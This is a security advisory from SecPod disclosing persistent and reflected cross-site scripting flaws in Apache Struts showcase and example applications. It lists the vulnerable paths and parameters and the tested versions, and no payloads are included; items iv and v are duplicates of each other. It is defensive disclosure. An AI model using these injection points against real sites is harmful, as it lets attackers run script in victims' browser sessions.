SecPod ID: 1021 21/07/2011 Issue Discovered  
03/08/2011 Vendor Notified  
No Response  
01/02/2012 Advisory Released  
  
Class: Cross-Site Scripting (Persistence) Severity: High  
  
  
Overview:  
---------  
Apache Struts Multiple Persistence Cross-Site Scripting Vulnerabilities.  
  
  
Technical Description:  
----------------------  
Multiple persistence Cross-Site Scripting vulnerabilities are present in  
Apache Struts, as it fails to sanitise user-supplied input.  
  
i) Input passed via the 'name' and 'lastName' parameter in  
'/struts2-showcase/person/editPerson.action' is not properly verified  
before it is returned to the user. This can be exploited to execute  
arbitrary HTML and script code in a user's browser session in the  
context of a vulnerable site.  
  
ii) Input passed via the 'clientName' parameter in  
'/struts2-rest-showcase/orders' action is not properly verified before  
it is returned to the user. This can be exploited to execute arbitrary  
HTML and script code in a user's browser session in the context of a  
vulnerable site.  
  
iii) Input passed via the 'name' parameter in  
'/struts-examples/upload/upload-submit.do?queryParam=Successful' action  
is not properly verified before it is returned to the user. This can be  
exploited to execute arbitrary HTML and script code in a user's browser  
session in the context of a vulnerable site.  
  
iV) Input passed via the 'message' parameter in  
'/struts-cookbook/processSimple.do' action is not properly verified  
before it is returned to the user. This can be exploited to execute  
arbitrary HTML and script code in a user's browser session in the  
context of a vulnerable site.  
  
V) Input passed via the 'message' parameter in  
'/struts-cookbook/processSimple.do' action is not properly verified  
before it is returned to the user. This can be exploited to execute  
arbitrary HTML and script code in a user's browser session in the  
context of a vulnerable site.  
  
These vulnerabilities have been tested on Apache Struts2 v2.2.3,  
Apache Struts2 v2.0.14 and Apache Struts v1.3.10.   
Other versions may also be affected.  
  
  
Impact:  
--------  
Successful exploitation could allow an attacker to execute arbitrary HTML  
code in a user's browser session in the context of a vulnerable application.  
  
  
Affected Software:  
------------------  
Apache struts 2.2.3 and prior.  
  
Tested on,  
i) Apache struts 2.2.3 - Stored XSS   
- struts2-showcase-2.2.3  
- struts2-rest-showcase-2.2.3  
  
ii) Apache struts 2.0.14 - Stored XSS   
- struts2-showcase-2.0.14  
  
iii) Apache struts 1.3.10 - Reflected XSS   
- struts-cookbook-1.3.10  
- struts-examples-1.3.10
